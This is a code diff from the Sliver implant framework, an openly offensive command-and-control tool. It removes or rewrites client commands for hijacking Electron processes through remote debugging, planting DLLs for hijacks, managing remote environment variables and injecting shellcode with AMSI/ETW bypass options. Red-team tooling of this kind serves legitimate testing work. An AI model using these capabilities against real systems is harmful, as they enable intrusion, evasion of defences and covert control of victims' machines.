-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Pid:     electronProcess.Pid,
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return nil
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return nil
-		}
-	}
-	curse, err := startCursedElectronProcess(electronExe, session, cmd, con, cargs)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	return curse
-}
-
-func checkElectronPath(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (bool, error) {
-	ls, err := con.Rpc.Ls(context.Background(), &sliverpb.LsReq{
-		Request: con.ActiveTarget.Request(cmd),
-		Path:    electronExe,
-	})
-	if err != nil {
-		return false, err
-	}
-	return ls.GetExists(), nil
-}
-
-func checkElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient) (*commonpb.Process, error) {
-	ps, err := con.Rpc.Ps(context.Background(), &sliverpb.PsReq{
-		Request: con.ActiveTarget.Request(cmd),
-	})
-	if err != nil {
-		return nil, err
-	}
-	for _, process := range ps.Processes {
-		if process.GetOwner() != session.GetUsername() {
-			continue
-		}
-		if process.GetExecutable() == electronExe || path.Base(process.GetExecutable()) == path.Base(electronExe) {
-			return process, nil
-		}
-	}
-	return nil, nil
-}
-
-func startCursedElectronProcess(electronExe string, session *clientpb.Session, cmd *cobra.Command, con *console.SliverClient, cargs []string) (*core.CursedProcess, error) {
-	con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
-	debugPort := getRemoteDebuggerPort(cmd)
-	args := []string{
-		fmt.Sprintf("--remote-debugging-port=%d", debugPort),
-	}
-
-	if len(cargs) > 0 {
-		args = append(args, cargs...)
-	}
-
-	// Execute the Chrome process with the extra flags
-	// TODO: PPID spoofing, etc.
-	electronExec, err := con.Rpc.Execute(context.Background(), &sliverpb.ExecuteReq{
-		Request: con.ActiveTarget.Request(cmd),
-		Path:    electronExe,
-		Args:    args,
-		Output:  false,
-	})
-	if err != nil {
-		con.Printf("failure!\n")
-		return nil, err
-	}
-	con.Printf("(pid: %d) success!\n", electronExec.GetPid())
-
-	con.PrintInfof("Waiting for process to initialize ... ")
-	time.Sleep(2 * time.Second)
-
-	bindPort := insecureRand.Intn(10000) + 40000
-	bindAddr := fmt.Sprintf("127.0.0.1:%d", bindPort)
-
-	remoteAddr := fmt.Sprintf("127.0.0.1:%d", debugPort)
-
-	tcpProxy := &tcpproxy.Proxy{}
-	channelProxy := &core.ChannelProxy{
-		Rpc:             con.Rpc,
-		Session:         session,
-		RemoteAddr:      remoteAddr,
-		BindAddr:        bindAddr,
-		KeepAlivePeriod: 60 * time.Second,
-		DialTimeout:     30 * time.Second,
-	}
-	tcpProxy.AddRoute(bindAddr, channelProxy)
-	portFwd := core.Portfwds.Add(tcpProxy, channelProxy)
-
-	curse := &core.CursedProcess{
-		SessionID:   session.ID,
-		PID:         electronExec.GetPid(),
-		PortFwd:     portFwd,
-		BindTCPPort: bindPort,
-		Platform:    session.GetOS(),
-		ExePath:     electronExe,
-	}
-	core.CursedProcesses.Store(bindPort, curse)
-	go func() {
-		err := tcpProxy.Run()
-		if err != nil {
-			log.Printf("Proxy error %s", err)
-		}
-		core.CursedProcesses.Delete(bindPort)
-	}()
-
-	con.PrintInfof("Port forwarding %s -> %s\n", bindAddr, remoteAddr)
-
-	return curse, nil
-}

client/command/cursed/cursed-rm.go

@@ -1,81 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"context"
-	"strconv"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/bishopfox/sliver/protobuf/sliverpb"
-	"github.com/spf13/cobra"
-)
-
-func CursedRmCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session := con.ActiveTarget.GetSessionInteractive()
-	if session == nil {
-		return
-	}
-	bindPort, err := strconv.Atoi(args[0])
-	if err != nil {
-		con.PrintErrorf("Failed to parse bind port argument: %s (%s)", args[0], err.Error())
-		return
-	}
-
-	kill, _ := cmd.Flags().GetBool("kill")
-	core.CloseCursedProcessesByBindPort(session.ID, bindPort)
-	if kill {
-		confirm := false
-		err := survey.AskOne(&survey.Confirm{Message: "Kill the cursed process?"}, &confirm)
-		if err != nil {
-			con.PrintErrorf("%s", err)
-			return
-		}
-		if !confirm {
-			con.PrintErrorf("User cancel\n")
-			return
-		}
-		// Get cursed process
-		var cursedProc *core.CursedProcess
-		curses := core.CursedProcessBySessionID(session.ID)
-		for _, curse := range curses {
-			if curse.BindTCPPort == bindPort {
-				cursedProc = curse
-			}
-		}
-		if cursedProc == nil {
-			con.PrintErrorf("Failed to find cursed process\n")
-			return
-		}
-		terminateResp, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
-			Request: con.ActiveTarget.Request(cmd),
-			Pid:     int32(cursedProc.PID),
-		})
-		if err != nil {
-			con.PrintErrorf("%s\n", err)
-			return
-		}
-		if terminateResp.Response != nil && terminateResp.Response.Err != "" {
-			con.PrintErrorf("could not terminate the existing process: %s\n", terminateResp.Response.Err)
-			return
-		}
-	}
-}

client/command/cursed/cursed-screenshot.go

@@ -1,69 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"os"
-	"time"
-
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/overlord"
-	"github.com/spf13/cobra"
-)
-
-func CursedScreenshotCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	curse := selectCursedProcess(con)
-	if curse == nil {
-		return
-	}
-	con.Println()
-	con.PrintInfof("Querying debug targets ... ")
-	targets, err := overlord.QueryDebugTargets(curse.DebugURL().String())
-	con.Printf(console.Clearln + "\r")
-	if err != nil {
-		con.PrintErrorf("Failed to query debug targets: %s\n", err)
-		return
-	}
-	target := selectDebugTarget(targets, con)
-	if target == nil {
-		return
-	}
-	con.PrintInfof("Taking a screenshot of '%s' ... \n\n", target.Title)
-	quality, _ := cmd.Flags().GetInt64("quality")
-	if quality < 1 || quality > 100 {
-		con.PrintErrorf("Invalid quality value, must be between 1 and 100\n")
-		return
-	}
-	data, err := overlord.Screenshot(curse, target.WebSocketDebuggerURL, target.ID, quality)
-	if err != nil {
-		con.PrintErrorf("Failed to take screenshot: %s\n", err)
-		return
-	}
-	saveFile, _ := cmd.Flags().GetString("save")
-	if saveFile == "" {
-		saveFile = fmt.Sprintf("screenshot-%s.png", time.Now().Format("20060102150405"))
-	}
-	err = os.WriteFile(saveFile, data, 0o644)
-	if err != nil {
-		con.PrintErrorf("Failed to save screenshot: %s\n", err)
-		return
-	}
-	con.PrintInfof("Screenshot saved to %s\n", saveFile)
-}

client/command/cursed/cursed.go

@@ -1,121 +0,0 @@
-package cursed
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2022  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"fmt"
-	insecureRand "math/rand"
-	"strconv"
-	"strings"
-	"text/tabwriter"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/client/core"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-)
-
-// CursedChromeCmd - Execute a .NET assembly in-memory.
-func CursedCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	// Collect existing curses from core
-	cursedProcesses := [][]string{}
-	core.CursedProcesses.Range(func(key, value interface{}) bool {
-		curse := value.(*core.CursedProcess)
-		cursedProcesses = append(cursedProcesses, []string{
-			fmt.Sprintf("%d", curse.BindTCPPort),
-			strings.Split(curse.SessionID, "-")[0],
-			fmt.Sprintf("%d", curse.PID),
-			curse.Platform,
-			curse.ExePath,
-			curse.DebugURL().String(),
-		})
-		return true
-	})
-	// Display table if we have 1 or more curses
-	if 0 < len(cursedProcesses) {
-		tw := table.NewWriter()
-		tw.SetStyle(settings.GetTableStyle(con))
-		tw.AppendHeader(table.Row{
-			"Bind Port", "Session ID", "PID", "Platform", "Executable", "Debug URL",
-		})
-		for _, rowEntries := range cursedProcesses {
-			row := table.Row{}
-			for _, entry := range rowEntries {
-				row = append(row, entry)
-			}
-			tw.AppendRow(table.Row(row))
-		}
-		con.Printf("%s\n", tw.Render())
-	} else {
-		con.PrintInfof("No cursed processes\n")
-	}
-}
-
-// selectCursedProcess - Interactively select a cursed process from a list.
-func selectCursedProcess(con *console.SliverClient) *core.CursedProcess {
-	cursedProcesses := []*core.CursedProcess{}
-	core.CursedProcesses.Range(func(key, value interface{}) bool {
-		cursedProcesses = append(cursedProcesses, value.(*core.CursedProcess))
-		return true
-	})
-	if len(cursedProcesses) < 1 {
-		con.PrintErrorf("No cursed processes\n")
-		return nil
-	}
-
-	port2process := map[int]*core.CursedProcess{}
-	outputBuf := bytes.NewBufferString("")
-	table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
-	for _, cursedProcess := range cursedProcesses {
-		fmt.Fprintf(table, "%d\t%s\t%s\n",
-			cursedProcess.BindTCPPort,
-			fmt.Sprintf("[Session %s]", strings.Split(cursedProcess.SessionID, "-")[0]),
-			cursedProcess.ExePath)
-		port2process[cursedProcess.BindTCPPort] = cursedProcess
-	}
-	table.Flush()
-	options := strings.Split(outputBuf.String(), "\n")
-	options = options[:len(options)-1] // Remove the last empty option
-	prompt := &survey.Select{
-		Message: "Select a curse:",
-		Options: options,
-	}
-	selected := ""
-	err := survey.AskOne(prompt, &selected)
-	if err != nil {
-		con.PrintErrorf("%s\n", err)
-		return nil
-	}
-	if selected == "" {
-		return nil
-	}
-	selectedPortNumber, _ := strconv.Atoi(strings.Split(selected, " ")[0])
-	return port2process[selectedPortNumber]
-}
-
-func getRemoteDebuggerPort(cmd *cobra.Command) int {
-	port, _ := cmd.Flags().GetInt("remote-debugging-port")
-	if port == 0 {
-		port = insecureRand.Intn(30000) + 10000
-	}
-	return port
-}

client/command/dllhijack/commands.go

@@ -1,43 +0,0 @@
-package dllhijack
-
-import (
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/generate"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	dllhijackCmd := &cobra.Command{
-		Use:         consts.DLLHijackStr,
-		Short:       "Plant a DLL for a hijack scenario",
-		Long:        help.GetHelpFor([]string{consts.DLLHijackStr}),
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
-		Args:        cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			DllHijackCmd(cmd, con, args)
-		},
-	}
-	flags.Bind("", false, dllhijackCmd, func(f *pflag.FlagSet) {
-		f.StringP("reference-path", "r", "", "Path to the reference DLL on the remote system")
-		f.StringP("reference-file", "R", "", "Path to the reference DLL on the local system")
-		f.StringP("file", "f", "", "Local path to the DLL to plant for the hijack")
-		f.StringP("profile", "p", "", "Profile name to use as a base DLL")
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	flags.BindFlagCompletions(dllhijackCmd, func(comp *carapace.ActionMap) {
-		(*comp)["reference-file"] = carapace.ActionFiles()
-		(*comp)["file"] = carapace.ActionFiles()
-		(*comp)["profile"] = generate.ProfileNameCompleter(con)
-	})
-	carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
-
-	return []*cobra.Command{dllhijackCmd}
-}

client/command/dllhijack/dllhijack.go

@@ -21,12 +21,11 @@ package dllhijack
 import (
 	"context"
 	"fmt"
-	"os"
-
-	"github.com/spf13/cobra"
+	"io/ioutil"
 
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
+	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )
 
 // dllhijack --ref-path c:\windows\system32\msasn1.dll --file /tmp/runner.dll TARGET_PATH
@@ -34,23 +33,22 @@ import (
 // dllhijack --ref-path c:\windows\system32\msasn1.dll --ref-file /tmp/ref.dll --profile dll  TARGET_PATH
 
 // DllHijackCmd -- implements the dllhijack command
-func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
+func DllHijackCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
 	var (
 		localRefData  []byte
 		targetDLLData []byte
 		err           error
 	)
-	session := con.ActiveTarget.GetSessionInteractive()
+	session := con.ActiveSession.GetInteractive()
 	if session == nil {
 		return
 	}
 
-	targetPath := args[0]
-
-	referencePath, _ := cmd.Flags().GetString("reference-path")
-	localFile, _ := cmd.Flags().GetString("file")
-	profileName, _ := cmd.Flags().GetString("profile")
-	localReferenceFilePath, _ := cmd.Flags().GetString("reference-file")
+	targetPath := ctx.Args.String("target-path")
+	referencePath := ctx.Flags.String("reference-path")
+	localFile := ctx.Flags.String("file")
+	profileName := ctx.Flags.String("profile")
+	localReferenceFilePath := ctx.Flags.String("reference-file")
 
 	if referencePath == "" {
 		con.PrintErrorf("Please provide a path to the reference DLL on the target system\n")
@@ -58,7 +56,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 	}
 
 	if localReferenceFilePath != "" {
-		localRefData, err = os.ReadFile(localReferenceFilePath)
+		localRefData, err = ioutil.ReadFile(localReferenceFilePath)
 		if err != nil {
 			con.PrintErrorf("Could not load the reference file from the client: %s\n", err)
 			return
@@ -70,7 +68,7 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 			con.PrintErrorf("please use either --profile or --File")
 			return
 		}
-		targetDLLData, err = os.ReadFile(localFile)
+		targetDLLData, err = ioutil.ReadFile(localFile)
 		if err != nil {
 			con.PrintErrorf("Error: %s\n", err)
 			return
@@ -80,12 +78,12 @@ func DllHijackCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
 	ctrl := make(chan bool)
 	msg := fmt.Sprintf("Crafting and planting DLL at %s ...", targetPath)
 	con.SpinUntil(msg, ctrl)
-	_, err = con.Rpc.HijackDLL(context.Background(), &clientpb.DllHijackReq{
+	_, err = con.Rpc.HijackDLL(context.Background(), &sliverpb.DllHijackReq{
 		ReferenceDLLPath: referencePath,
 		TargetLocation:   targetPath,
 		ReferenceDLL:     localRefData,
 		TargetDLL:        targetDLLData,
-		Request:          con.ActiveTarget.Request(cmd),
+		Request:          con.ActiveSession.Request(ctx),
 		ProfileName:      profileName,
 	})
 	ctrl <- true

client/command/environment/commands.go

@@ -1,59 +0,0 @@
-package environment
-
-import (
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	envCmd := &cobra.Command{
-		Use:   consts.EnvStr,
-		Short: "List environment variables",
-		Long:  help.GetHelpFor([]string{consts.EnvStr}),
-		Args:  cobra.RangeArgs(0, 1),
-		Run: func(cmd *cobra.Command, args []string) {
-			EnvGetCmd(cmd, con, args)
-		},
-		GroupID: consts.InfoHelpGroup,
-	}
-	flags.Bind("", true, envCmd, func(f *pflag.FlagSet) {
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	carapace.Gen(envCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable to fetch (optional)"))
-
-	envSetCmd := &cobra.Command{
-		Use:   consts.SetStr,
-		Short: "Set environment variables",
-		Long:  help.GetHelpFor([]string{consts.EnvStr, consts.SetStr}),
-		Args:  cobra.ExactArgs(2),
-		Run: func(cmd *cobra.Command, args []string) {
-			EnvSetCmd(cmd, con, args)
-		},
-	}
-	envCmd.AddCommand(envSetCmd)
-	carapace.Gen(envSetCmd).PositionalCompletion(
-		carapace.ActionValues().Usage("environment variable name"),
-		carapace.ActionValues().Usage("value to assign"),
-	)
-
-	envUnsetCmd := &cobra.Command{
-		Use:   consts.UnsetStr,
-		Short: "Clear environment variables",
-		Long:  help.GetHelpFor([]string{consts.EnvStr, consts.UnsetStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			EnvUnsetCmd(cmd, con, args)
-		},
-	}
-	envCmd.AddCommand(envUnsetCmd)
-	carapace.Gen(envUnsetCmd).PositionalCompletion(carapace.ActionValues().Usage("environment variable name"))
-
-	return []*cobra.Command{envCmd}
-}

client/command/environment/get.go

@@ -21,56 +21,29 @@ package environment
 import (
 	"context"
 
-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )
 
 // EnvGetCmd - Get a remote environment variable
-func EnvGetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+func EnvGetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.Get()
+	if session == nil {
 		return
 	}
 
-	var name string
-	if len(args) > 0 {
-		name = args[0]
-	}
-
+	name := ctx.Args.String("name")
 	envInfo, err := con.Rpc.GetEnv(context.Background(), &sliverpb.EnvReq{
 		Name:    name,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveSession.Request(ctx),
 	})
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if envInfo.Response != nil && envInfo.Response.Async {
-		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, envInfo)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintGetEnvInfo(envInfo, con)
-		})
-		con.PrintAsyncResponse(envInfo.Response)
-	} else {
-		PrintGetEnvInfo(envInfo, con)
-	}
-}
 
-// PrintGetEnvInfo - Print the results of the env get command
-func PrintGetEnvInfo(envInfo *sliverpb.EnvInfo, con *console.SliverClient) {
-	if envInfo.Response != nil && envInfo.Response.Err != "" {
-		con.PrintErrorf("%s\n", envInfo.Response.Err)
-		return
-	}
 	for _, envVar := range envInfo.Variables {
 		con.Printf("%s=%s\n", envVar.Key, envVar.Value)
 	}

client/command/environment/set.go

@@ -21,25 +21,21 @@ package environment
 import (
 	"context"
 
-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/commonpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )
 
 // EnvSetCmd - Set a remote environment variable
-func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+func EnvSetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.Get()
+	if session == nil {
 		return
 	}
 
-	name := args[0]
-	value := args[1]
+	name := ctx.Args.String("name")
+	value := ctx.Args.String("value")
 	if name == "" || value == "" {
 		con.PrintErrorf("Usage: setenv KEY VALUE\n")
 		return
@@ -50,29 +46,12 @@ func EnvSetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 			Key:   name,
 			Value: value,
 		},
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveSession.Request(ctx),
 	})
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if envInfo.Response != nil && envInfo.Response.Async {
-		con.AddBeaconCallback(envInfo.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, envInfo)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintSetEnvInfo(name, value, envInfo, con)
-		})
-		con.PrintAsyncResponse(envInfo.Response)
-	} else {
-		PrintSetEnvInfo(name, value, envInfo, con)
-	}
-}
-
-// PrintSetEnvInfo - Print the set environment info
-func PrintSetEnvInfo(name string, value string, envInfo *sliverpb.SetEnv, con *console.SliverClient) {
 	if envInfo.Response != nil && envInfo.Response.Err != "" {
 		con.PrintErrorf("%s\n", envInfo.Response.Err)
 		return

client/command/environment/unset.go

@@ -21,23 +21,19 @@ package environment
 import (
 	"context"
 
-	"google.golang.org/protobuf/proto"
-
-	"github.com/spf13/cobra"
-
 	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/protobuf/clientpb"
 	"github.com/bishopfox/sliver/protobuf/sliverpb"
+	"github.com/desertbit/grumble"
 )
 
 // EnvUnsetCmd - Unset a remote environment variable
-func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	session, beacon := con.ActiveTarget.GetInteractive()
-	if session == nil && beacon == nil {
+func EnvUnsetCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
+	session := con.ActiveSession.Get()
+	if session == nil {
 		return
 	}
 
-	name := args[0]
+	name := ctx.Args.String("name")
 	if name == "" {
 		con.PrintErrorf("Usage: setenv NAME\n")
 		return
@@ -45,31 +41,16 @@ func EnvUnsetCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
 
 	unsetResp, err := con.Rpc.UnsetEnv(context.Background(), &sliverpb.UnsetEnvReq{
 		Name:    name,
-		Request: con.ActiveTarget.Request(cmd),
+		Request: con.ActiveSession.Request(ctx),
 	})
+
 	if err != nil {
 		con.PrintErrorf("%s\n", err)
 		return
 	}
-	if unsetResp.Response != nil && unsetResp.Response.Async {
-		con.AddBeaconCallback(unsetResp.Response.TaskID, func(task *clientpb.BeaconTask) {
-			err = proto.Unmarshal(task.Response, unsetResp)
-			if err != nil {
-				con.PrintErrorf("Failed to decode response %s\n", err)
-				return
-			}
-			PrintUnsetEnvInfo(name, unsetResp, con)
-		})
-		con.PrintAsyncResponse(unsetResp.Response)
-	} else {
-		PrintUnsetEnvInfo(name, unsetResp, con)
-	}
-}
 
-// PrintUnsetEnvInfo - Print the set environment info
-func PrintUnsetEnvInfo(name string, envInfo *sliverpb.UnsetEnv, con *console.SliverClient) {
-	if envInfo.Response != nil && envInfo.Response.Err != "" {
-		con.PrintErrorf("%s\n", envInfo.Response.Err)
+	if unsetResp.Response != nil && unsetResp.Response.Err != "" {
+		con.PrintErrorf("%s\n", unsetResp.Response.Err)
 		return
 	}
 	con.PrintInfof("Successfully unset %s\n", name)

client/command/exec/commands.go

@@ -1,277 +0,0 @@
-package exec
-
-import (
-	"github.com/bishopfox/sliver/client/command/flags"
-	"github.com/bishopfox/sliver/client/command/generate"
-	"github.com/bishopfox/sliver/client/command/help"
-	"github.com/bishopfox/sliver/client/console"
-	consts "github.com/bishopfox/sliver/client/constants"
-	"github.com/rsteube/carapace"
-	"github.com/spf13/cobra"
-	"github.com/spf13/pflag"
-)
-
-// Commands returns the “ command and its subcommands.
-func Commands(con *console.SliverClient) []*cobra.Command {
-	executeCmd := &cobra.Command{
-		Use:   consts.ExecuteStr,
-		Short: "Execute a program on the remote system",
-		Long:  help.GetHelpFor([]string{consts.ExecuteStr}),
-		Args:  cobra.MinimumNArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			ExecuteCmd(cmd, con, args)
-		},
-		GroupID: consts.ExecutionHelpGroup,
-	}
-	flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
-		f.BoolP("token", "T", false, "execute command with current token (Windows only)")
-		f.BoolP("output", "o", false, "capture command output")
-		f.BoolP("save", "s", false, "save output to a file")
-		f.BoolP("loot", "X", false, "save output as loot")
-		f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
-		f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
-		f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
-		f.StringP("name", "n", "", "name to assign loot (optional)")
-		f.Uint32P("ppid", "P", 0, "parent process id (optional, Windows only)")
-		f.BoolP("hidden", "H", false, "hide the window of the spawned process (Windows only)")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	executeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-
-	carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
-	carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
-
-	executeAssemblyCmd := &cobra.Command{
-		Use:   consts.ExecuteAssemblyStr,
-		Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
-		Long:  help.GetHelpFor([]string{consts.ExecuteAssemblyStr}),
-		Args:  cobra.MinimumNArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			ExecuteAssemblyCmd(cmd, con, args)
-		},
-		GroupID:     consts.ExecutionHelpGroup,
-		Annotations: flags.RestrictTargets(consts.WindowsCmdsFilter),
-	}
-	flags.Bind("", false, executeAssemblyCmd, func(f *pflag.FlagSet) {
-		f.StringP("process", "p", "notepad.exe", "hosting process to inject into")
-		f.StringP("method", "m", "", "Optional method (a method is required for a .NET DLL)")
-		f.StringP("class", "c", "", "Optional class name (required for .NET DLL)")
-		f.StringP("app-domain", "d", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
-		f.StringP("arch", "a", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
-		f.BoolP("in-process", "i", false, "Run in the current sliver process")
-		f.StringP("runtime", "r", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
-		f.BoolP("save", "s", false, "save output to file")
-		f.BoolP("loot", "X", false, "save output as loot")
-		f.StringP("name", "n", "", "name to assign loot (optional)")
-		f.Uint32P("ppid", "P", 0, "parent process id (optional)")
-		f.StringP("process-arguments", "A", "", "arguments to pass to the hosting process")
-		f.BoolP("amsi-bypass", "M", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
-		f.BoolP("etw-bypass", "E", false, "Bypass ETW on Windows (only supported when used with --in-process)")
-
-		f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
-	})
-	executeAssemblyCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
-
-	carapace.Gen(executeAssemblyCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to assembly file (required)"))
-	carapace.Gen(executeAssemblyCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to pass to the assembly entrypoint (optional)"))
-
-	executeShellcodeCmd := &cobra.Command{
-		Use:   consts.ExecuteShellcodeStr,
-		Short: "Executes the given shellcode in the sliver process",
-		Long:  help.GetHelpFor([]string{consts.ExecuteShellcodeStr}),
-		Args:  cobra.ExactArgs(1),
-		Run: func(cmd *cobra.Command, args []string) {
-			ExecuteShellcodeCmd(cmd, con, args)
-		},
-		GroupID: consts.ExecutionHelpGroup,
-	}
-	flags.Bind("", false, executeShellcodeCmd, func(f *pflag.FlagSet) {
-		f.BoolP("rwx-pages", "r", false, "Use RWX permissions for memory pages")
-		f.Uint32P("pid", "p", 0, "Pid of process to inject into (0 means injection into ourselves)")
-		f.StringP("process", "n", `c:\windows\system32\notepad.exe`, "Process to inject into when running in interactive mode")
-		f.BoolP("interactive", "i", false, "Inject into a new process and interact with it")
-		f.BoolP("shikata-ga-nai", "S", false, "encode shellcode using shikata ga nai prior to execution")
-		f.StringP("architecture", "A", "amd64", "architecture of the shellcode: 386, amd64 (used with --shikata-ga-nai flag)")
-		f.Uint32P("iterations", "I", 1, "number of encoding iterations (used with --shikata-ga-nai flag)")
-
